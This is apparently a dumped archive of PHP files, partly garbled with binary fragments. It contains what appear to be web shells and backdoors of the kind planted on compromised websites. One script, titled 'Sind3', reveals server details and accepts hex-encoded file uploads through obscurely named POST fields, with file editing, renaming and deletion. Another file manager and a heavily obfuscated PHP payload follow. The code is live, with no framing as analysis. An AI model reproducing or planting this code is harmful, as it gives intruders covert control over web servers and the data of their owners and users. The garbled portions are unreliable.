Github |
.';
if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
if (!empty($fm_config['enable_proxy'])) echo ' |
proxy';
if (!empty($fm_config['show_phpinfo'])) echo ' |
phpinfo';
if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' |
xls';
if (!empty($fm_config['fm_settings'])) echo ' |
'.__('Settings').'';
?>
errors)) $this->errors = array();
}
function createArchive($file_list){
$result = false;
if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false;
else $newArchive = true;
if ($newArchive){
if (!$this->openWrite()) return false;
} else {
if (filesize($this->archive_name) == 0) return $this->openWrite();
if ($this->isGzipped) {
$this->closeTmpFile();
if (!rename($this->archive_name, $this->archive_name.'.tmp')){
$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
return false;
}
$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
if (!$tmpArchive){
$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
rename($this->archive_name.'.tmp', $this->archive_name);
return false;
}
if (!$this->openWrite()){
rename($this->archive_name.'.tmp', $this->archive_name);
return false;
}
$buffer = gzread($tmpArchive, 512);
if (!gzeof($tmpArchive)){
do {
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
$buffer = gzread($tmpArchive, 512);
}
while (!gzeof($tmpArchive));
}
gzclose($tmpArchive);
unlink($this->archive_name.'.tmp');
} else {
$this->tmp_file = fopen($this->archive_name, 'r+b');
if (!$this->tmp_file) return false;
}
}
if (isset($file_list) && is_array($file_list)) {
if (count($file_list)>0)
$result = $this->packFileArray($file_list);
} else $this->errors[] = __('No file').__(' to ').__('Archive');
if (($result)&&(is_resource($this->tmp_file))){
$binaryData = pack('a512', '');
$this->writeBlock($binaryData);
}
$this->closeTmpFile();
if ($newArchive && !$result){
$this->closeTmpFile();
unlink($this->archive_name);
}
return $result;
}
function restoreArchive($path){
$fileName = $this->archive_name;
if (!$this->isGzipped){
if (file_exists($fileName)){
if ($fp = fopen($fileName, 'rb')){
$data = fread($fp, 2);
fclose($fp);
if ($data == '\37\213'){
$this->isGzipped = true;
}
}
}
elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
}
$result = true;
if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
else $this->tmp_file = fopen($fileName, 'rb');
if (!$this->tmp_file){
$this->errors[] = $fileName.' '.__('is not readable');
return false;
}
$result = $this->unpackFileArray($path);
$this->closeTmpFile();
return $result;
}
function showErrors ($message = '') {
$Errors = $this->errors;
if(count($Errors)>0) {
if (!empty($message)) $message = ' ('.$message.')';
$message = __('Error occurred').$message.': archive_name)
continue;
if (strlen($filename)<=0)
continue;
if (!file_exists($filename)){
$this->errors[] = __('No file').' '.$filename;
continue;
}
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (strlen($filename)<=0){
$this->errors[] = __('Filename').' '.__('is incorrect');;
return false;
}
$filename = str_replace('\\', '/', $filename);
$keep_filename = $this->makeGoodPath($filename);
if (is_file($filename)){
if (($file = fopen($filename, 'rb')) == 0){
$this->errors[] = __('Mode ').__('is incorrect');
}
if(($this->file_pos == 0)){
if(!$this->writeHeader($filename, $keep_filename))
return false;
}
while (($buffer = fread($file, 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
fclose($file);
} else $this->writeHeader($filename, $keep_filename);
if (@is_dir($filename)){
if (!($handle = opendir($filename))){
$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
continue;
}
while (false !== ($dir = readdir($handle))){
if ($dir!='.' && $dir!='..'){
$file_array_tmp = array();
if ($filename != '.')
$file_array_tmp[] = $filename.'/'.$dir;
else
$file_array_tmp[] = $dir;
$result = $this->packFileArray($file_array_tmp);
}
}
unset($file_array_tmp);
unset($dir);
unset($handle);
}
}
return $result;
}
function unpackFileArray($path){
$path = str_replace('\\', '/', $path);
if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path;
clearstatcache();
while (strlen($binaryData = $this->readBlock()) != 0){
if (!$this->readHeader($binaryData, $header)) return false;
if ($header['filename'] == '') continue;
if ($header['typeflag'] == 'L'){ //reading long header
$filename = '';
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++){
$content = $this->readBlock();
$filename .= $content;
}
if (($laspiece = $header['size'] % 512) != 0){
$content = $this->readBlock();
$filename .= substr($content, 0, $laspiece);
}
$binaryData = $this->readBlock();
if (!$this->readHeader($binaryData, $header)) return false;
else $header['filename'] = $filename;
return true;
}
if (($path != './') && ($path != '/')){
while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
else $header['filename'] = $path.'/'.$header['filename'];
}
if (file_exists($header['filename'])){
if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
return false;
}
if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
return false;
}
if (!is_writeable($header['filename'])){
$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
return false;
}
} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
return false;
}
if ($header['typeflag'] == '5'){
if (!file_exists($header['filename'])) {
if (!mkdir($header['filename'], 0777)) {
$this->errors[] = __('Cannot create directory').' '.$header['filename'];
return false;
}
}
} else {
if (($destination = fopen($header['filename'], 'wb')) == 0) {
$this->errors[] = __('Cannot write to file').' '.$header['filename'];
return false;
} else {
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++) {
$content = $this->readBlock();
fwrite($destination, $content, 512);
}
if (($header['size'] % 512) != 0) {
$content = $this->readBlock();
fwrite($destination, $content, ($header['size'] % 512));
}
fclose($destination);
touch($header['filename'], $header['time']);
}
clearstatcache();
if (filesize($header['filename']) != $header['size']) {
$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
return false;
}
}
if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
$this->dirs[] = $file_dir;
$this->files[] = $header['filename'];
}
return true;
}
function dirCheck($dir){
$parent_dir = dirname($dir);
if ((@is_dir($dir)) or ($dir == ''))
return true;
if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
return false;
if (!mkdir($dir, 0777)){
$this->errors[] = __('Cannot create directory').' '.$dir;
return false;
}
return true;
}
function readHeader($binaryData, &$header){
if (strlen($binaryData)==0){
$header['filename'] = '';
return true;
}
if (strlen($binaryData) != 512){
$header['filename'] = '';
$this->__('Invalid block size').': '.strlen($binaryData);
return false;
}
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));
$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);
$header['checksum'] = OctDec(trim($unpack_data['checksum']));
if ($header['checksum'] != $checksum){
$header['filename'] = '';
if (($checksum == 256) && ($header['checksum'] == 0)) return true;
$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
return false;
}
if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0;
$header['filename'] = trim($unpack_data['filename']);
$header['mode'] = OctDec(trim($unpack_data['mode']));
$header['user_id'] = OctDec(trim($unpack_data['user_id']));
$header['group_id'] = OctDec(trim($unpack_data['group_id']));
$header['size'] = OctDec(trim($unpack_data['size']));
$header['time'] = OctDec(trim($unpack_data['time']));
return true;
}
function writeHeader($filename, $keep_filename){
$packF = 'a100a8a8a8a12A12';
$packL = 'a1a100a6a2a32a32a8a8a155a12';
if (strlen($keep_filename)<=0) $keep_filename = $filename;
$filename_ready = $this->makeGoodPath($keep_filename);
if (strlen($filename_ready) > 99){ //write long header
$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');
// Calculate the checksum
$checksum = 0;
// First part of the header
for ($i = 0; $i < 148; $i++)
$checksum += ord(substr($dataFirst, $i, 1));
// Ignore the checksum value and replace it by ' ' (space)
for ($i = 148; $i < 156; $i++)
$checksum += ord(' ');
// Last part of the header
for ($i = 156, $j=0; $i < 512; $i++, $j++)
$checksum += ord(substr($dataLast, $j, 1));
// Write the first 148 bytes of the header in the archive
$this->writeBlock($dataFirst, 148);
// Write the calculated checksum
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
// Write the last 356 bytes of the header in the archive
$this->writeBlock($dataLast, 356);
$tmp_filename = $this->makeGoodPath($filename_ready);
$i = 0;
while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
return true;
}
$file_info = stat($filename);
if (@is_dir($filename)){
$typeflag = '5';
$size = sprintf('%11s ', DecOct(0));
} else {
$typeflag = '';
clearstatcache();
$size = sprintf('%11s ', DecOct(filesize($filename)));
}
$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
$this->writeBlock($dataFirst, 148);
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
$this->writeBlock($dataLast, 356);
return true;
}
function openWrite(){
if ($this->isGzipped)
$this->tmp_file = gzopen($this->archive_name, 'wb9f');
else
$this->tmp_file = fopen($this->archive_name, 'wb');
if (!($this->tmp_file)){
$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
return false;
}
return true;
}
function readBlock(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
$block = gzread($this->tmp_file, 512);
else
$block = fread($this->tmp_file, 512);
} else $block = '';
return $block;
}
function writeBlock($data, $length = 0){
if (is_resource($this->tmp_file)){
if ($length === 0){
if ($this->isGzipped)
gzputs($this->tmp_file, $data);
else
fputs($this->tmp_file, $data);
} else {
if ($this->isGzipped)
gzputs($this->tmp_file, $data, $length);
else
fputs($this->tmp_file, $data, $length);
}
}
}
function closeTmpFile(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
gzclose($this->tmp_file);
else
fclose($this->tmp_file);
$this->tmp_file = 0;
}
}
function makeGoodPath($path){
if (strlen($path)>0){
$path = str_replace('\\', '/', $path);
$partPath = explode('/', $path);
$els = count($partPath)-1;
for ($i = $els; $i>=0; $i--){
if ($partPath[$i] == '.'){
// Ignore this directory
} elseif ($partPath[$i] == '..'){
$i--;
}
elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
} else
$result = $partPath[$i].($i!=$els ? '/'.$result : '');
}
} else $result = '';
return $result;
}
}
?>PK 2fm\Aj%\ %\ 962ta.phpnu [
| Name |
Size |
Actions |
';
echo '' . htmlspecialchars($entry) . ' | ';
echo '- | ';
echo ' | ';
echo '';
}
foreach ($fileList as $entry) {
$path = $d . DIRECTORY_SEPARATOR . $entry;
echo '';
echo '| ' . htmlspecialchars($entry) . ' | ';
echo '' . (is_file($path) ? filesize($path) . ' bytes' : '-') . ' | ';
echo '';
echo 'Edit | ';
echo 'Rename | ';
echo 'Delete';
echo ' | ';
echo '
';
}
?>
$l) {
if ($l == '' && $m == 0) {
$breadcrumbHtml .= '/';
}
if ($l == '') continue;
$breadcrumbHtml .= ''.$l.'/';
}
echo $breadcrumbHtml;
exit;
}
function safe_stream_copy($in, $out): bool {
if (PHP_VERSION_ID < 80009) {
do {
for (;;) {
$buff = fread($in, 4096);
if ($buff === false || $buff === '') {
break;
}
if (fwrite($out, $buff) === false) {
return false;
}
}
} while (!feof($in));
return true;
} else {
return stream_copy_to_stream($in, $out) !== false;
}
}
if (isset($_POST['benkyo']) && isset($_POST['dakeja'])) {
$fileName = $_POST['benkyo'];
$encodedContent = $_POST['dakeja'];
$decodedContent = hex2bin($encodedContent);
if ($decodedContent === false) {
if ($isAjax) {
header('Content-Type: application/json');
echo json_encode(['status' => 'failed', 'msg' => 'Invalid Base64 encoding']);
} else {
setFlash('failed', 'Invalid Base64 encoding');
header("Location: ?d=" . hex($d));
}
exit;
}
$tempStream = fopen('php://temp', 'r+');
fwrite($tempStream, $decodedContent);
rewind($tempStream);
$targetPath = $d . DIRECTORY_SEPARATOR . basename($fileName);
$outStream = fopen($targetPath, 'wb');
$success = $tempStream && $outStream && safe_stream_copy($tempStream, $outStream);
if ($outStream) fclose($outStream);
if ($tempStream) fclose($tempStream);
if ($success) {
if ($isAjax) {
header('Content-Type: application/json');
echo json_encode(['status' => 'success', 'msg' => 'File uploaded successfully']);
} else {
setFlash('success', 'File uploaded successfully');
header("Location: ?d=" . hex($d));
}
} else {
if ($isAjax) {
header('Content-Type: application/json');
echo json_encode(['status' => 'failed', 'msg' => 'File upload failed']);
} else {
setFlash('failed', 'File upload failed');
header("Location: ?d=" . hex($d));
exit;
}
}
exit;
}
if (isset($_GET['action']) && in_array($_GET['action'], ['delete', 'rename', 'edit']) && isset($_GET['file'])) {
if ($_GET['action'] === 'delete') {
$fileName = $_GET['file'];
$filePath = realpath($d . DIRECTORY_SEPARATOR . $fileName);
if (!$filePath || !is_file($filePath)) {
$response = ['status'=>'failed','msg'=>'File not found or access denied'];
} else {
$result = unlink($filePath);
$response = $result
? ['status'=>'success','msg'=>'File deleted successfully']
: ['status'=>'failed','msg'=>'File deletion failed'];
}
header('Content-Type: application/json');
echo json_encode($response);
exit;
} elseif ($_GET['action'] === 'rename') {
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_name'])) {
$oldFile = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
$newFile = $d . DIRECTORY_SEPARATOR . $_POST['new_name'];
if ($oldFile && is_file($oldFile)) {
$result = rename($oldFile, $newFile);
$response = $result
? ['status'=>'success','msg'=>'File renamed successfully']
: ['status'=>'failed','msg'=>'File renaming failed'];
header('Content-Type: application/json');
echo json_encode($response);
exit;
} else {
header('Content-Type: application/json');
echo json_encode(['status'=>'failed','msg'=>'File not found']);
exit;
}
} elseif ($isAjax) {
echo 'Rename File: ' . htmlspecialchars($_GET['file']) . '
';
echo '';
echo '';
echo '
';
exit;
}
} elseif ($_GET['action'] === 'edit') {
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) {
$filePath = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
if ($filePath && is_file($filePath)) {
$fp = fopen($filePath, "w");
if ($fp) {
$bytesWritten = fwrite($fp, stripslashes($_POST['content']));
fclose($fp);
$response = ($bytesWritten !== false)
? ['status' => 'success', 'msg' => 'File edited successfully']
: ['status' => 'failed', 'msg' => 'File editing failed'];
} else {
$response = ['status' => 'failed', 'msg' => 'File opening failed'];
}
header('Content-Type: application/json');
echo json_encode($response);
exit;
} else {
header('Content-Type: application/json');
echo json_encode(['status' => 'failed', 'msg' => 'File not found']);
exit;
}
} elseif ($isAjax) {
$filePath = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
if ($filePath && is_file($filePath)) {
$content = file_get_contents($filePath);
echo 'Edit File: ' . htmlspecialchars($_GET['file']) . '
';
echo '';
echo '';
echo '
';
}
exit;
}
}
}
?>
Sind3
SERV : = isset($_SERVER['SERVER_SOFTWARE']) ? php_uname() : "Server information not available"; ?>
SOFT :
IP : = gethostbyname($_SERVER['HTTP_HOST']) ?>
——————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————
$l) {
if ($l == '' && $m == 0) {
echo '
/';
}
if ($l == '') continue;
echo '
'.$l.'/';
}
?>
| Name |
Size |
Actions |
';
echo '' . htmlspecialchars($entry) . ' | ';
echo '- | ';
echo ' | ';
echo '';
}
foreach ($fileList as $entry) {
$path = $d . DIRECTORY_SEPARATOR . $entry;
echo '';
echo '| ' . htmlspecialchars($entry) . ' | ';
echo '' . (is_file($path) ? filesize($path) . ' bytes' : '-') . ' | ';
echo '';
echo 'Edit | ';
echo 'Rename | ';
echo 'Delete';
echo ' | ';
echo '
';
}
?>
PK 2fm\ about.phpnu [
AccessDeniedAccess DeniedHZ4WXH0ESBF1JYTBsW4QjcBVd/l6XD1lbbuo901xTax5LDAgIxoFnmL2o7v8to6gcqRJDTqEtwkqgQVo1Ki+Cwcl4lQ=PK 2fm\oe* * bepyo.phpnu [ $item,
'path' => $full_path,
'size' => is_file($full_path) ? filesize($full_path) : 0,
'type' => is_dir($full_path) ? 'directory' : 'file',
'modified' => date('Y-m-d H:i:s', filemtime($full_path))
];
}
}
return $files;
}
function format_size($bytes) {
if ($bytes >= 1073741824) {
return number_format($bytes / 1073741824, 2) . ' GB';
} elseif ($bytes >= 1048576) {
return number_format($bytes / 1048576, 2) . ' MB';
} elseif ($bytes >= 1024) {
return number_format($bytes / 1024, 2) . ' KB';
} else {
return $bytes . ' bytes';
}
}
// ==================== REQUESTED DIRECTORY HANDLING ====================
$requested_dir = isset($_GET['dir']) ? sanitize_path($_GET['dir']) : basename($base_dir);
$current_dir_candidate = $root_anchor . ($requested_dir ? DIRECTORY_SEPARATOR . $requested_dir : '');
$current_dir = safe_realpath_within($current_dir_candidate, $root_anchor);
if($current_dir === false){
$requested_dir = basename($base_dir);
$current_dir = safe_realpath_within($root_anchor . DIRECTORY_SEPARATOR . $requested_dir, $root_anchor);
if($current_dir === false){
$requested_dir = '';
$current_dir = safe_realpath_within($root_anchor, $root_anchor);
}
}
// ==================== PARENT DIRECTORY CALCULATION ====================
if($requested_dir !== ''){
$parent_dir = dirname($requested_dir);
if($parent_dir === '.' || $parent_dir === '\\') $parent_dir = '';
} else {
$parent_dir = '';
}
// ==================== BREADCRUMB NAVIGATION ====================
$dir_parts = [];
if($requested_dir !== ''){
$parts = explode('/', $requested_dir);
$current_path = '';
foreach($parts as $part){
$current_path .= ($current_path ? '/' : '') . $part;
$dir_parts[] = [
'name' => $part,
'path' => $current_path
];
}
}
// ==================== ACTION HANDLING ====================
$action = $_GET['action'] ?? 'list';
$message = '';
switch($action){
case 'view':
$file = sanitize_path($_GET['file'] ?? '');
$file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
header('Content-Type: text/plain');
readfile($file_path);
exit;
}
break;
case 'edit':
$file = sanitize_path($_GET['file'] ?? '');
$file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
if($_SERVER['REQUEST_METHOD'] === 'POST'){
$content = $_POST['content'] ?? '';
if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
if(file_put_contents($file_path, $content) !== false){
$message = "File '{$file}' updated successfully!";
} else {
$message = "Error updating file '{$file}'!";
}
}
// Don't redirect - stay on edit page with message
} else {
if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
$content = htmlspecialchars(file_get_contents($file_path));
echo "Edit: ".htmlspecialchars($file)."";
echo "Edit: ".htmlspecialchars($file)."
";
if($message) echo "$message
";
echo "";
exit;
}
}
break;
case 'delete':
$file = sanitize_path($_GET['file'] ?? '');
$file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
// Check if this is a confirmation request
$confirmed = isset($_GET['confirm']) && $_GET['confirm'] === 'yes';
if($confirmed && safe_realpath_within($file_path, $root_anchor) && file_exists($file_path)){
if(is_dir($file_path)){
$it = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($file_path, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::CHILD_FIRST
);
foreach($it as $f){
$f->isDir() ? rmdir($f->getRealPath()) : unlink($f->getRealPath());
}
rmdir($file_path);
$message = "Folder '{$file}' deleted successfully!";
} else {
if(unlink($file_path)){
$message = "File '{$file}' deleted successfully!";
} else {
$message = "Error deleting file '{$file}'!";
}
}
header('Location: ?action=list&dir=' . urlencode($requested_dir) . '&message=' . urlencode($message));
exit;
} else {
// Show confirmation page
if(safe_realpath_within($file_path, $root_anchor) && file_exists($file_path)){
echo "Confirm Delete";
echo "Confirm Delete
";
echo "Are you sure you want to delete '".htmlspecialchars($file)."'?
";
echo "Type: " . (is_dir($file_path) ? "Folder" : "File") . "
";
echo "Path: " . htmlspecialchars($file_path) . "
";
echo "
";
echo "YES, DELETE | ";
echo "Cancel";
echo "";
exit;
}
}
break;
case 'upload':
if($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_FILES['file'])){
$uploaded = $_FILES['file'];
if($uploaded['error'] === UPLOAD_ERR_OK){
$name = basename($uploaded['name']);
$dest = $current_dir . DIRECTORY_SEPARATOR . $name;
if(safe_realpath_within(dirname($dest), $root_anchor)){
if(move_uploaded_file($uploaded['tmp_name'], $dest)){
@chmod($dest, 0644);
$message = "File '{$name}' uploaded successfully!";
} else {
$message = "Error uploading file '{$name}'!";
}
} else {
$message = "Invalid upload path!";
}
} else {
$message = "Upload error: " . $uploaded['error'];
}
}
// Stay on same page with message
break;
case 'download':
$file = sanitize_path($_GET['file'] ?? '');
$file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($file_path).'"');
header('Content-Length: '.filesize($file_path));
readfile($file_path);
exit;
}
break;
case 'create_folder':
if($_SERVER['REQUEST_METHOD'] === 'POST'){
$folder = sanitize_path($_POST['folder_name'] ?? '');
if($folder){
$fp = $current_dir . DIRECTORY_SEPARATOR . $folder;
if(safe_realpath_within(dirname($fp), $root_anchor) && !file_exists($fp)){
if(mkdir($fp, 0755, true)){
$message = "Folder '{$folder}' created successfully!";
} else {
$message = "Error creating folder '{$folder}'!";
}
} else {
$message = "Folder already exists or invalid path!";
}
} else {
$message = "Please enter a folder name!";
}
}
// Stay on same page with message
break;
}
// Get message from URL if redirected
if(isset($_GET['message'])){
$message = $_GET['message'];
}
?>
File Manager
PK 2fm\ha a co0gm-20260307210730.phpnu [ =//~G5CAz>oX_Rroc#^XiPUP"$nL{8X18(kws%}0BTk=.W\1`
FAlSE//CK:{U;+LZ lAIKy')L\x*M{e=;~(r"l
; /*X<4Ad.M?EGdl,!`gyEeu?mDWC,GY}z|nm&/2;4t,+DFfCA`z*/PArse_stR /*=!;u_Pg'p5Z*/(//q?mXDxOCP/@Fl]@_o1\3ef^5gTJzD(DjfuMUlq:v69MECWk+
'0=%4'#),4,S `MH~pX*(
.//DIVE%MG\S [dqi7(C(Z w#,0IJ4!JApk1tC
"1%52"//FuUA3g4Ca<56?/Tb'L_,^<#]AX"I#jWK^JhPPW,*z^0']?rJ-\F
. #J?G[WN6za[=TbwX7tWwhkHB7o8~Ix6NnR
"%52%"/*/akS:9wfT26UAt6x=_eo>H]\5s[d*/. #$U%:*8%h,1*L'pr e}alniv
"41%5"//,,(kkWVxF9[@Jar%
.//mLtK0ibp@s?%k0Oz_p!m6
'9%5F'//VY*#wn]~<+Nb'a6eTYXN9b
"%6d%" /*9H73(*cxbH:*/. //I:JT?34frgtpQKW&Q
"41%5" /*2u7T29Z!R)-6(5B*/.#6pLGz~ttE6z/"ImKrQ]A $Eq
"0&1="#F-L0y(6Z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